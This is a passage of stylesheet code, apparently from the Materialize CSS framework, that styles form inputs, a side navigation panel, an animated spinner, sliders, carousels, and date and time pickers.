line-height: 3rem; } .file-field span { cursor: pointer; } .file-field input[type=file] { position: absolute; top: 0; right: 0; left: 0; bottom: 0; width: 100%; margin: 0; padding: 0; font-size: 20px; cursor: pointer; opacity: 0; filter: alpha(opacity=0); } .file-field input[type=file]::-webkit-file-upload-button { display: none; } /* Range ========================================================================== */ .range-field { position: relative; } input[type=range], input[type=range] + .thumb { cursor: pointer; } input[type=range] { position: relative; background-color: transparent; border: none; outline: none; width: 100%; margin: 15px 0; padding: 0; } input[type=range]:focus { outline: none; } input[type=range] + .thumb { position: absolute; top: 10px; left: 0; border: none; height: 0; width: 0; border-radius: 50%; background-color: #26a69a; margin-left: 7px; -webkit-transform-origin: 50% 50%; transform-origin: 50% 50%; -webkit-transform: rotate(-45deg); transform: rotate(-45deg); } input[type=range] + .thumb .value { display: block; width: 30px; text-align: center; color: #26a69a; font-size: 0; -webkit-transform: rotate(45deg); transform: rotate(45deg); } input[type=range] + .thumb.active { border-radius: 50% 50% 50% 0; } input[type=range] + .thumb.active .value { color: #fff; margin-left: -1px; margin-top: 8px; font-size: 10px; } input[type=range] { -webkit-appearance: none; } input[type=range]::-webkit-slider-runnable-track { height: 3px; background: #c2c0c2; border: none; } input[type=range]::-webkit-slider-thumb { border: none; height: 14px; width: 14px; border-radius: 50%; background: #26a69a; -webkit-transition: -webkit-box-shadow .3s; transition: -webkit-box-shadow .3s; transition: box-shadow .3s; transition: box-shadow .3s, -webkit-box-shadow .3s; -webkit-appearance: none; background-color: #26a69a; -webkit-transform-origin: 50% 50%; transform-origin: 50% 50%; margin: -5px 0 0 0; } .keyboard-focused input[type=range]:focus:not(.active)::-webkit-slider-thumb { -webkit-box-shadow: 0 0 0 10px rgba(38, 166, 154, 0.26); box-shadow: 0 0 0 10px rgba(38, 166, 154, 0.26); } input[type=range] { /* fix for FF unable to apply focus style bug */ border: 1px solid white; /*required for proper track sizing in FF*/ } input[type=range]::-moz-range-track { height: 3px; background: #c2c0c2; border: none; } input[type=range]::-moz-focus-inner { border: 0; } input[type=range]::-moz-range-thumb { border: none; height: 14px; width: 14px; border-radius: 50%; background: #26a69a; -webkit-transition: -webkit-box-shadow .3s; transition: -webkit-box-shadow .3s; transition: box-shadow .3s; transition: box-shadow .3s, -webkit-box-shadow .3s; margin-top: -5px; } input[type=range]:-moz-focusring { outline: 1px solid #fff; outline-offset: -1px; } .keyboard-focused input[type=range]:focus:not(.active)::-moz-range-thumb { box-shadow: 0 0 0 10px rgba(38, 166, 154, 0.26); } input[type=range]::-ms-track { height: 3px; background: transparent; border-color: transparent; border-width: 6px 0; /*remove default tick marks*/ color: transparent; } input[type=range]::-ms-fill-lower { background: #777; } input[type=range]::-ms-fill-upper { background: #ddd; } input[type=range]::-ms-thumb { border: none; height: 14px; width: 14px; border-radius: 50%; background: #26a69a; -webkit-transition: -webkit-box-shadow .3s; transition: -webkit-box-shadow .3s; transition: box-shadow .3s; transition: box-shadow .3s, -webkit-box-shadow .3s; } .keyboard-focused input[type=range]:focus:not(.active)::-ms-thumb { box-shadow: 0 0 0 10px rgba(38, 166, 154, 0.26); } /*************** Nav List ***************/ .table-of-contents.fixed { position: fixed; } .table-of-contents li { padding: 2px 0; } .table-of-contents a { display: inline-block; font-weight: 300; color: #757575; padding-left: 16px; height: 1.5rem; line-height: 1.5rem; letter-spacing: .4; display: inline-block; } .table-of-contents a:hover { color: #a8a8a8; padding-left: 15px; border-left: 1px solid #ee6e73; } .table-of-contents a.active { font-weight: 500; padding-left: 14px; border-left: 2px solid #ee6e73; } .sidenav { position: fixed; width: 300px; left: 0; top: 0; margin: 0; -webkit-transform: translateX(-100%); transform: translateX(-100%); height: 100%; height: calc(100% + 60px); height: -moz-calc(100%); padding-bottom: 60px; background-color: #fff; z-index: 999; overflow-y: auto; will-change: transform; -webkit-backface-visibility: hidden; backface-visibility: hidden; -webkit-transform: translateX(-105%); transform: translateX(-105%); } .sidenav.right-aligned { right: 0; -webkit-transform: translateX(105%); transform: translateX(105%); left: auto; -webkit-transform: translateX(100%); transform: translateX(100%); } .sidenav .collapsible { margin: 0; } .sidenav li { float: none; line-height: 48px; } .sidenav li.active { background-color: rgba(0, 0, 0, 0.05); } .sidenav li > a { color: rgba(0, 0, 0, 0.87); display: block; font-size: 14px; font-weight: 500; height: 48px; line-height: 48px; padding: 0 32px; } .sidenav li > a:hover { background-color: rgba(0, 0, 0, 0.05); } .sidenav li > a.btn, .sidenav li > a.btn-large, .sidenav li > a.btn-small, .sidenav li > a.btn-large, .sidenav li > a.btn-flat, .sidenav li > a.btn-floating { margin: 10px 15px; } .sidenav li > a.btn, .sidenav li > a.btn-large, .sidenav li > a.btn-small, .sidenav li > a.btn-large, .sidenav li > a.btn-floating { color: #fff; } .sidenav li > a.btn-flat { color: #343434; } .sidenav li > a.btn:hover, .sidenav li > a.btn-large:hover, .sidenav li > a.btn-small:hover, .sidenav li > a.btn-large:hover { background-color: #2bbbad; } .sidenav li > a.btn-floating:hover { background-color: #26a69a; } .sidenav li > a > i, .sidenav li > a > [class^="mdi-"], .sidenav li > a li > a > [class*="mdi-"], .sidenav li > a > i.material-icons { float: left; height: 48px; line-height: 48px; margin: 0 32px 0 0; width: 24px; color: rgba(0, 0, 0, 0.54); } .sidenav .divider { margin: 8px 0 0 0; } .sidenav .subheader { cursor: initial; pointer-events: none; color: rgba(0, 0, 0, 0.54); font-size: 14px; font-weight: 500; line-height: 48px; } .sidenav .subheader:hover { background-color: transparent; } .sidenav .user-view { position: relative; padding: 32px 32px 0; margin-bottom: 8px; } .sidenav .user-view > a { height: auto; padding: 0; } .sidenav .user-view > a:hover { background-color: transparent; } .sidenav .user-view .background { overflow: hidden; position: absolute; top: 0; right: 0; bottom: 0; left: 0; z-index: -1; } .sidenav .user-view .circle, .sidenav .user-view .name, .sidenav .user-view .email { display: block; } .sidenav .user-view .circle { height: 64px; width: 64px; } .sidenav .user-view .name, .sidenav .user-view .email { font-size: 14px; line-height: 24px; } .sidenav .user-view .name { margin-top: 16px; font-weight: 500; } .sidenav .user-view .email { padding-bottom: 16px; font-weight: 400; } .drag-target { height: 100%; width: 10px; position: fixed; top: 0; z-index: 998; } .drag-target.right-aligned { right: 0; } .sidenav.sidenav-fixed { left: 0; -webkit-transform: translateX(0); transform: translateX(0); position: fixed; } .sidenav.sidenav-fixed.right-aligned { right: 0; left: auto; } @media only screen and (max-width: 992px) { .sidenav.sidenav-fixed { -webkit-transform: translateX(-105%); transform: translateX(-105%); } .sidenav.sidenav-fixed.right-aligned { -webkit-transform: translateX(105%); transform: translateX(105%); } .sidenav > a { padding: 0 16px; } .sidenav .user-view { padding: 16px 16px 0; } } .sidenav .collapsible-body > ul:not(.collapsible) > li.active, .sidenav.sidenav-fixed .collapsible-body > ul:not(.collapsible) > li.active { background-color: #ee6e73; } .sidenav .collapsible-body > ul:not(.collapsible) > li.active a, .sidenav.sidenav-fixed .collapsible-body > ul:not(.collapsible) > li.active a { color: #fff; } .sidenav .collapsible-body { padding: 0; } .sidenav-overlay { position: fixed; top: 0; left: 0; right: 0; opacity: 0; height: 120vh; background-color: rgba(0, 0, 0, 0.5); z-index: 997; display: none; } /* @license Copyright (c) 2014 The Polymer Project Authors. All rights reserved. This code may only be used under the BSD style license found at http://polymer.github.io/LICENSE.txt The complete set of authors may be found at http://polymer.github.io/AUTHORS.txt The complete set of contributors may be found at http://polymer.github.io/CONTRIBUTORS.txt Code distributed by Google as part of the polymer project is also subject to an additional IP rights grant found at http://polymer.github.io/PATENTS.txt */ /**************************/ /* STYLES FOR THE SPINNER */ /**************************/ /* * Constants: * STROKEWIDTH = 3px * ARCSIZE = 270 degrees (amount of circle the arc takes up) * ARCTIME = 1333ms (time it takes to expand and contract arc) * ARCSTARTROT = 216 degrees (how much the start location of the arc * should rotate each time, 216 gives us a * 5 pointed star shape (it's 360/5 * 3). * For a 7 pointed star, we might do * 360/7 * 3 = 154.286) * CONTAINERWIDTH = 28px * SHRINK_TIME = 400ms */ .preloader-wrapper { display: inline-block; position: relative; width: 50px; height: 50px; } .preloader-wrapper.small { width: 36px; height: 36px; } .preloader-wrapper.big { width: 64px; height: 64px; } .preloader-wrapper.active { /* duration: 360 * ARCTIME / (ARCSTARTROT + (360-ARCSIZE)) */ -webkit-animation: container-rotate 1568ms linear infinite; animation: container-rotate 1568ms linear infinite; } @-webkit-keyframes container-rotate { to { -webkit-transform: rotate(360deg); } } @keyframes container-rotate { to { -webkit-transform: rotate(360deg); transform: rotate(360deg); } } .spinner-layer { position: absolute; width: 100%; height: 100%; opacity: 0; border-color: #26a69a; } .spinner-blue, .spinner-blue-only { border-color: #4285f4; } .spinner-red, .spinner-red-only { border-color: #db4437; } .spinner-yellow, .spinner-yellow-only { border-color: #f4b400; } .spinner-green, .spinner-green-only { border-color: #0f9d58; } /** * IMPORTANT NOTE ABOUT CSS ANIMATION PROPERTIES (keanulee): * * iOS Safari (tested on iOS 8.1) does not handle animation-delay very well - it doesn't * guarantee that the animation will start _exactly_ after that value. So we avoid using * animation-delay and instead set custom keyframes for each color (as redundant as it * seems). * * We write out each animation in full (instead of separating animation-name, * animation-duration, etc.) because under the polyfill, Safari does not recognize those * specific properties properly, treats them as -webkit-animation, and overrides the * other animation rules. See https://github.com/Polymer/platform/issues/53. */ .active .spinner-layer.spinner-blue { /* durations: 4 * ARCTIME */ -webkit-animation: fill-unfill-rotate 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both, blue-fade-in-out 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both; animation: fill-unfill-rotate 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both, blue-fade-in-out 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both; } .active .spinner-layer.spinner-red { /* durations: 4 * ARCTIME */ -webkit-animation: fill-unfill-rotate 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both, red-fade-in-out 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both; animation: fill-unfill-rotate 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both, red-fade-in-out 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both; } .active .spinner-layer.spinner-yellow { /* durations: 4 * ARCTIME */ -webkit-animation: fill-unfill-rotate 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both, yellow-fade-in-out 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both; animation: fill-unfill-rotate 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both, yellow-fade-in-out 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both; } .active .spinner-layer.spinner-green { /* durations: 4 * ARCTIME */ -webkit-animation: fill-unfill-rotate 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both, green-fade-in-out 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both; animation: fill-unfill-rotate 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both, green-fade-in-out 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both; } .active .spinner-layer, .active .spinner-layer.spinner-blue-only, .active .spinner-layer.spinner-red-only, .active .spinner-layer.spinner-yellow-only, .active .spinner-layer.spinner-green-only { /* durations: 4 * ARCTIME */ opacity: 1; -webkit-animation: fill-unfill-rotate 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both; animation: fill-unfill-rotate 5332ms cubic-bezier(0.4, 0, 0.2, 1) infinite both; } @-webkit-keyframes fill-unfill-rotate { 12.5% { -webkit-transform: rotate(135deg); } /* 0.5 * ARCSIZE */ 25% { -webkit-transform: rotate(270deg); } /* 1 * ARCSIZE */ 37.5% { -webkit-transform: rotate(405deg); } /* 1.5 * ARCSIZE */ 50% { -webkit-transform: rotate(540deg); } /* 2 * ARCSIZE */ 62.5% { -webkit-transform: rotate(675deg); } /* 2.5 * ARCSIZE */ 75% { -webkit-transform: rotate(810deg); } /* 3 * ARCSIZE */ 87.5% { -webkit-transform: rotate(945deg); } /* 3.5 * ARCSIZE */ to { -webkit-transform: rotate(1080deg); } /* 4 * ARCSIZE */ } @keyframes fill-unfill-rotate { 12.5% { -webkit-transform: rotate(135deg); transform: rotate(135deg); } /* 0.5 * ARCSIZE */ 25% { -webkit-transform: rotate(270deg); transform: rotate(270deg); } /* 1 * ARCSIZE */ 37.5% { -webkit-transform: rotate(405deg); transform: rotate(405deg); } /* 1.5 * ARCSIZE */ 50% { -webkit-transform: rotate(540deg); transform: rotate(540deg); } /* 2 * ARCSIZE */ 62.5% { -webkit-transform: rotate(675deg); transform: rotate(675deg); } /* 2.5 * ARCSIZE */ 75% { -webkit-transform: rotate(810deg); transform: rotate(810deg); } /* 3 * ARCSIZE */ 87.5% { -webkit-transform: rotate(945deg); transform: rotate(945deg); } /* 3.5 * ARCSIZE */ to { -webkit-transform: rotate(1080deg); transform: rotate(1080deg); } /* 4 * ARCSIZE */ } @-webkit-keyframes blue-fade-in-out { from { opacity: 1; } 25% { opacity: 1; } 26% { opacity: 0; } 89% { opacity: 0; } 90% { opacity: 1; } 100% { opacity: 1; } } @keyframes blue-fade-in-out { from { opacity: 1; } 25% { opacity: 1; } 26% { opacity: 0; } 89% { opacity: 0; } 90% { opacity: 1; } 100% { opacity: 1; } } @-webkit-keyframes red-fade-in-out { from { opacity: 0; } 15% { opacity: 0; } 25% { opacity: 1; } 50% { opacity: 1; } 51% { opacity: 0; } } @keyframes red-fade-in-out { from { opacity: 0; } 15% { opacity: 0; } 25% { opacity: 1; } 50% { opacity: 1; } 51% { opacity: 0; } } @-webkit-keyframes yellow-fade-in-out { from { opacity: 0; } 40% { opacity: 0; } 50% { opacity: 1; } 75% { opacity: 1; } 76% { opacity: 0; } } @keyframes yellow-fade-in-out { from { opacity: 0; } 40% { opacity: 0; } 50% { opacity: 1; } 75% { opacity: 1; } 76% { opacity: 0; } } @-webkit-keyframes green-fade-in-out { from { opacity: 0; } 65% { opacity: 0; } 75% { opacity: 1; } 90% { opacity: 1; } 100% { opacity: 0; } } @keyframes green-fade-in-out { from { opacity: 0; } 65% { opacity: 0; } 75% { opacity: 1; } 90% { opacity: 1; } 100% { opacity: 0; } } /** * Patch the gap that appear between the two adjacent div.circle-clipper while the * spinner is rotating (appears on Chrome 38, Safari 7.1, and IE 11). */ .gap-patch { position: absolute; top: 0; left: 45%; width: 10%; height: 100%; overflow: hidden; border-color: inherit; } .gap-patch .circle { width: 1000%; left: -450%; } .circle-clipper { display: inline-block; position: relative; width: 50%; height: 100%; overflow: hidden; border-color: inherit; } .circle-clipper .circle { width: 200%; height: 100%; border-width: 3px; /* STROKEWIDTH */ border-style: solid; border-color: inherit; border-bottom-color: transparent !important; border-radius: 50%; -webkit-animation: none; animation: none; position: absolute; top: 0; right: 0; bottom: 0; } .circle-clipper.left .circle { left: 0; border-right-color: transparent !important; -webkit-transform: rotate(129deg); transform: rotate(129deg); } .circle-clipper.right .circle { left: -100%; border-left-color: transparent !important; -webkit-transform: rotate(-129deg); transform: rotate(-129deg); } .active .circle-clipper.left .circle { /* duration: ARCTIME */ -webkit-animation: left-spin 1333ms cubic-bezier(0.4, 0, 0.2, 1) infinite both; animation: left-spin 1333ms cubic-bezier(0.4, 0, 0.2, 1) infinite both; } .active .circle-clipper.right .circle { /* duration: ARCTIME */ -webkit-animation: right-spin 1333ms cubic-bezier(0.4, 0, 0.2, 1) infinite both; animation: right-spin 1333ms cubic-bezier(0.4, 0, 0.2, 1) infinite both; } @-webkit-keyframes left-spin { from { -webkit-transform: rotate(130deg); } 50% { -webkit-transform: rotate(-5deg); } to { -webkit-transform: rotate(130deg); } } @keyframes left-spin { from { -webkit-transform: rotate(130deg); transform: rotate(130deg); } 50% { -webkit-transform: rotate(-5deg); transform: rotate(-5deg); } to { -webkit-transform: rotate(130deg); transform: rotate(130deg); } } @-webkit-keyframes right-spin { from { -webkit-transform: rotate(-130deg); } 50% { -webkit-transform: rotate(5deg); } to { -webkit-transform: rotate(-130deg); } } @keyframes right-spin { from { -webkit-transform: rotate(-130deg); transform: rotate(-130deg); } 50% { -webkit-transform: rotate(5deg); transform: rotate(5deg); } to { -webkit-transform: rotate(-130deg); transform: rotate(-130deg); } } #spinnerContainer.cooldown { /* duration: SHRINK_TIME */ -webkit-animation: container-rotate 1568ms linear infinite, fade-out 400ms cubic-bezier(0.4, 0, 0.2, 1); animation: container-rotate 1568ms linear infinite, fade-out 400ms cubic-bezier(0.4, 0, 0.2, 1); } @-webkit-keyframes fade-out { from { opacity: 1; } to { opacity: 0; } } @keyframes fade-out { from { opacity: 1; } to { opacity: 0; } } .slider { position: relative; height: 400px; width: 100%; } .slider.fullscreen { height: 100%; width: 100%; position: absolute; top: 0; left: 0; right: 0; bottom: 0; } .slider.fullscreen ul.slides { height: 100%; } .slider.fullscreen ul.indicators { z-index: 2; bottom: 30px; } .slider .slides { background-color: #9e9e9e; margin: 0; height: 400px; } .slider .slides li { opacity: 0; position: absolute; top: 0; left: 0; z-index: 1; width: 100%; height: inherit; overflow: hidden; } .slider .slides li img { height: 100%; width: 100%; background-size: cover; background-position: center; } .slider .slides li .caption { color: #fff; position: absolute; top: 15%; left: 15%; width: 70%; opacity: 0; } .slider .slides li .caption p { color: #e0e0e0; } .slider .slides li.active { z-index: 2; } .slider .indicators { position: absolute; text-align: center; left: 0; right: 0; bottom: 0; margin: 0; } .slider .indicators .indicator-item { display: inline-block; position: relative; cursor: pointer; height: 16px; width: 16px; margin: 0 12px; background-color: #e0e0e0; -webkit-transition: background-color .3s; transition: background-color .3s; border-radius: 50%; } .slider .indicators .indicator-item.active { background-color: #4CAF50; } .carousel { overflow: hidden; position: relative; width: 100%; height: 400px; -webkit-perspective: 500px; perspective: 500px; -webkit-transform-style: preserve-3d; transform-style: preserve-3d; -webkit-transform-origin: 0% 50%; transform-origin: 0% 50%; } .carousel.carousel-slider { top: 0; left: 0; } .carousel.carousel-slider .carousel-fixed-item { position: absolute; left: 0; right: 0; bottom: 20px; z-index: 1; } .carousel.carousel-slider .carousel-fixed-item.with-indicators { bottom: 68px; } .carousel.carousel-slider .carousel-item { width: 100%; height: 100%; min-height: 400px; position: absolute; top: 0; left: 0; } .carousel.carousel-slider .carousel-item h2 { font-size: 24px; font-weight: 500; line-height: 32px; } .carousel.carousel-slider .carousel-item p { font-size: 15px; } .carousel .carousel-item { visibility: hidden; width: 200px; height: 200px; position: absolute; top: 0; left: 0; } .carousel .carousel-item > img { width: 100%; } .carousel .indicators { position: absolute; text-align: center; left: 0; right: 0; bottom: 0; margin: 0; } .carousel .indicators .indicator-item { display: inline-block; position: relative; cursor: pointer; height: 8px; width: 8px; margin: 24px 4px; background-color: rgba(255, 255, 255, 0.5); -webkit-transition: background-color .3s; transition: background-color .3s; border-radius: 50%; } .carousel .indicators .indicator-item.active { background-color: #fff; } .carousel.scrolling .carousel-item .materialboxed, .carousel .carousel-item:not(.active) .materialboxed { pointer-events: none; } .tap-target-wrapper { width: 800px; height: 800px; position: fixed; z-index: 1000; visibility: hidden; -webkit-transition: visibility 0s .3s; transition: visibility 0s .3s; } .tap-target-wrapper.open { visibility: visible; -webkit-transition: visibility 0s; transition: visibility 0s; } .tap-target-wrapper.open .tap-target { -webkit-transform: scale(1); transform: scale(1); opacity: .95; -webkit-transition: opacity 0.3s cubic-bezier(0.42, 0, 0.58, 1), -webkit-transform 0.3s cubic-bezier(0.42, 0, 0.58, 1); transition: opacity 0.3s cubic-bezier(0.42, 0, 0.58, 1), -webkit-transform 0.3s cubic-bezier(0.42, 0, 0.58, 1); transition: transform 0.3s cubic-bezier(0.42, 0, 0.58, 1), opacity 0.3s cubic-bezier(0.42, 0, 0.58, 1); transition: transform 0.3s cubic-bezier(0.42, 0, 0.58, 1), opacity 0.3s cubic-bezier(0.42, 0, 0.58, 1), -webkit-transform 0.3s cubic-bezier(0.42, 0, 0.58, 1); } .tap-target-wrapper.open .tap-target-wave::before { -webkit-transform: scale(1); transform: scale(1); } .tap-target-wrapper.open .tap-target-wave::after { visibility: visible; -webkit-animation: pulse-animation 1s cubic-bezier(0.24, 0, 0.38, 1) infinite; animation: pulse-animation 1s cubic-bezier(0.24, 0, 0.38, 1) infinite; -webkit-transition: opacity .3s, visibility 0s 1s, -webkit-transform .3s; transition: opacity .3s, visibility 0s 1s, -webkit-transform .3s; transition: opacity .3s, transform .3s, visibility 0s 1s; transition: opacity .3s, transform .3s, visibility 0s 1s, -webkit-transform .3s; } .tap-target { position: absolute; font-size: 1rem; border-radius: 50%; background-color: #ee6e73; -webkit-box-shadow: 0 20px 20px 0 rgba(0, 0, 0, 0.14), 0 10px 50px 0 rgba(0, 0, 0, 0.12), 0 30px 10px -20px rgba(0, 0, 0, 0.2); box-shadow: 0 20px 20px 0 rgba(0, 0, 0, 0.14), 0 10px 50px 0 rgba(0, 0, 0, 0.12), 0 30px 10px -20px rgba(0, 0, 0, 0.2); width: 100%; height: 100%; opacity: 0; -webkit-transform: scale(0); transform: scale(0); -webkit-transition: opacity 0.3s cubic-bezier(0.42, 0, 0.58, 1), -webkit-transform 0.3s cubic-bezier(0.42, 0, 0.58, 1); transition: opacity 0.3s cubic-bezier(0.42, 0, 0.58, 1), -webkit-transform 0.3s cubic-bezier(0.42, 0, 0.58, 1); transition: transform 0.3s cubic-bezier(0.42, 0, 0.58, 1), opacity 0.3s cubic-bezier(0.42, 0, 0.58, 1); transition: transform 0.3s cubic-bezier(0.42, 0, 0.58, 1), opacity 0.3s cubic-bezier(0.42, 0, 0.58, 1), -webkit-transform 0.3s cubic-bezier(0.42, 0, 0.58, 1); } .tap-target-content { position: relative; display: table-cell; } .tap-target-wave { position: absolute; border-radius: 50%; z-index: 10001; } .tap-target-wave::before, .tap-target-wave::after { content: ''; display: block; position: absolute; width: 100%; height: 100%; border-radius: 50%; background-color: #ffffff; } .tap-target-wave::before { -webkit-transform: scale(0); transform: scale(0); -webkit-transition: -webkit-transform .3s; transition: -webkit-transform .3s; transition: transform .3s; transition: transform .3s, -webkit-transform .3s; } .tap-target-wave::after { visibility: hidden; -webkit-transition: opacity .3s, visibility 0s, -webkit-transform .3s; transition: opacity .3s, visibility 0s, -webkit-transform .3s; transition: opacity .3s, transform .3s, visibility 0s; transition: opacity .3s, transform .3s, visibility 0s, -webkit-transform .3s; z-index: -1; } .tap-target-origin { top: 50%; left: 50%; -webkit-transform: translate(-50%, -50%); transform: translate(-50%, -50%); z-index: 10002; position: absolute !important; } .tap-target-origin:not(.btn):not(.btn-large):not(.btn-small), .tap-target-origin:not(.btn):not(.btn-large):not(.btn-small):hover { background: none; } @media only screen and (max-width: 600px) { .tap-target, .tap-target-wrapper { width: 600px; height: 600px; } } .pulse { overflow: visible; position: relative; } .pulse::before { content: ''; display: block; position: absolute; width: 100%; height: 100%; top: 0; left: 0; background-color: inherit; border-radius: inherit; -webkit-transition: opacity .3s, -webkit-transform .3s; transition: opacity .3s, -webkit-transform .3s; transition: opacity .3s, transform .3s; transition: opacity .3s, transform .3s, -webkit-transform .3s; -webkit-animation: pulse-animation 1s cubic-bezier(0.24, 0, 0.38, 1) infinite; animation: pulse-animation 1s cubic-bezier(0.24, 0, 0.38, 1) infinite; z-index: -1; } @-webkit-keyframes pulse-animation { 0% { opacity: 1; -webkit-transform: scale(1); transform: scale(1); } 50% { opacity: 0; -webkit-transform: scale(1.5); transform: scale(1.5); } 100% { opacity: 0; -webkit-transform: scale(1.5); transform: scale(1.5); } } @keyframes pulse-animation { 0% { opacity: 1; -webkit-transform: scale(1); transform: scale(1); } 50% { opacity: 0; -webkit-transform: scale(1.5); transform: scale(1.5); } 100% { opacity: 0; -webkit-transform: scale(1.5); transform: scale(1.5); } } /* Modal */ .datepicker-modal { max-width: 325px; min-width: 300px; max-height: none; } .datepicker-container.modal-content { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; -webkit-flex-direction: column; -ms-flex-direction: column; flex-direction: column; padding: 0; } .datepicker-controls { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-box-pack: justify; -webkit-justify-content: space-between; -ms-flex-pack: justify; justify-content: space-between; width: 280px; margin: 0 auto; } .datepicker-controls .selects-container { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; } .datepicker-controls .select-wrapper input { border-bottom: none; text-align: center; margin: 0; } .datepicker-controls .select-wrapper input:focus { border-bottom: none; } .datepicker-controls .select-wrapper .caret { display: none; } .datepicker-controls .select-year input { width: 50px; } .datepicker-controls .select-month input { width: 70px; } .month-prev, .month-next { margin-top: 4px; cursor: pointer; background-color: transparent; border: none; } /* Date Display */ .datepicker-date-display { -webkit-box-flex: 1; -webkit-flex: 1 auto; -ms-flex: 1 auto; flex: 1 auto; background-color: #26a69a; color: #fff; padding: 20px 22px; font-weight: 500; } .datepicker-date-display .year-text { display: block; font-size: 1.5rem; line-height: 25px; color: rgba(255, 255, 255, 0.7); } .datepicker-date-display .date-text { display: block; font-size: 2.8rem; line-height: 47px; font-weight: 500; } /* Calendar */ .datepicker-calendar-container { -webkit-box-flex: 2.5; -webkit-flex: 2.5 auto; -ms-flex: 2.5 auto; flex: 2.5 auto; } .datepicker-table { width: 280px; font-size: 1rem; margin: 0 auto; } .datepicker-table thead { border-bottom: none; } .datepicker-table th { padding: 10px 5px; text-align: center; } .datepicker-table tr { border: none; } .datepicker-table abbr { text-decoration: none; color: #999; } .datepicker-table td { border-radius: 50%; padding: 0; } .datepicker-table td.is-today { color: #26a69a; } .datepicker-table td.is-selected { background-color: #26a69a; color: #fff; } .datepicker-table td.is-outside-current-month, .datepicker-table td.is-disabled { color: rgba(0, 0, 0, 0.3); pointer-events: none; } .datepicker-day-button { background-color: transparent; border: none; line-height: 38px; display: block; width: 100%; border-radius: 50%; padding: 0 5px; cursor: pointer; color: inherit; } .datepicker-day-button:focus { background-color: rgba(43, 161, 150, 0.25); } /* Footer */ .datepicker-footer { width: 280px; margin: 0 auto; padding-bottom: 5px; display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-box-pack: justify; -webkit-justify-content: space-between; -ms-flex-pack: justify; justify-content: space-between; } .datepicker-cancel, .datepicker-clear, .datepicker-today, .datepicker-done { color: #26a69a; padding: 0 1rem; } .datepicker-clear { color: #F44336; } /* Media Queries */ @media only screen and (min-width: 601px) { .datepicker-modal { max-width: 625px; } .datepicker-container.modal-content { -webkit-box-orient: horizontal; -webkit-box-direction: normal; -webkit-flex-direction: row; -ms-flex-direction: row; flex-direction: row; } .datepicker-date-display { -webkit-box-flex: 0; -webkit-flex: 0 1 270px; -ms-flex: 0 1 270px; flex: 0 1 270px; } .datepicker-controls, .datepicker-table, .datepicker-footer { width: 320px; } .datepicker-day-button { line-height: 44px; } } /* Timepicker Containers */ .timepicker-modal { max-width: 325px; max-height: none; } .timepicker-container.modal-content { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; -webkit-flex-direction: column; -ms-flex-direction: column; flex-direction: column; padding: 0; } .text-primary { color: white; } /* Clock Digital Display */ .timepicker-digital-display { -webkit-box-flex: 1; -webkit-flex: 1 auto; -ms-flex: 1 auto; flex: 1 auto; background-color: #26a69a; padding: 10px; font-weight: 300; } .timepicker-text-container { font-size: 4rem; font-weight: bold; text-align: center; color: rgba(255, 255, 255, 0.6); font-weight: 400; position: relative; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; } .timepicker-span-hours, .timepicker-span-minutes, .timepicker-span-am-pm div { cursor: pointer; } .timepicker-span-hours { margin-right: 3px; } .timepicker-span-minutes { margin-left: 3px; } .timepicker-display-am-pm { font-size: 1.3rem; position: absolute; right: 1rem; bottom: 1rem; font-weight: 400; } /* Analog Clock Display */ .timepicker-analog-display { -webkit-box-flex: 2.5; -webkit-flex: 2.5 auto; -ms-flex: 2.5 auto; flex: 2.5 auto; } .timepicker-plate { background-color: #eee; border-radius: 50%; width: 270px; height: 270px; overflow: visible; position: relative; margin: auto; margin-top: 25px; margin-bottom: 5px; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; } .timepicker-canvas, .timepicker-dial { position: absolute; left: 0; right: 0; top: 0; bottom: 0; } .timepicker-minutes { visibility: hidden; } .timepicker-tick { border-radius: 50%; color: rgba(0, 0, 0, 0.87); line-height: 40px; text-align: center; width: 40px; height: 40px; position: absolute; cursor: pointer; font-size: 15px; } .timepicker-tick.active, .timepicker-tick:hover { background-color: rgba(38, 166, 154, 0.25); } .timepicker-dial { -webkit-transition: opacity 350ms, -webkit-transform 350ms; transition: opacity 350ms, -webkit-transform 350ms; transition: transform 350ms, opacity 350ms; transition: transform 350ms, opacity 350ms, -webkit-transform 350ms; } .timepicker-dial-out { opacity: 0; } .timepicker-dial-out.timepicker-hours { -webkit-transform: scale(1.1, 1.1); transform: scale(1.1, 1.1); } .timepicker-dial-out.timepicker-minutes { -webkit-transform: scale(0.8, 0.8); transform: scale(0.8, 0.8); } .timepicker-canvas { -webkit-transition: opacity 175ms; transition: opacity 175ms; } .timepicker-canvas line { stroke: #26a69a; stroke-width: 4; stroke-linecap: round; } .timepicker-canvas-out { opacity: 0.25; } .timepicker-canvas-bearing { stroke: none; fill: #26a69a; } .timepicker-canvas-bg { stroke: none; fill: #26a69a; } /* Footer */ .timepicker-footer { margin: 0 auto; padding: 5px 1rem; display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-box-pack: justify; -webkit-justify-content: space-between; -ms-flex-pack: justify; justify-content: space-between; } .timepicker-clear { color: #F44336; } .timepicker-close { color: #26a69a; } .timepicker-clear, .timepicker-close { padding: 0 20px; } /* Media Queries */ @media only screen and (min-width: 601px) { 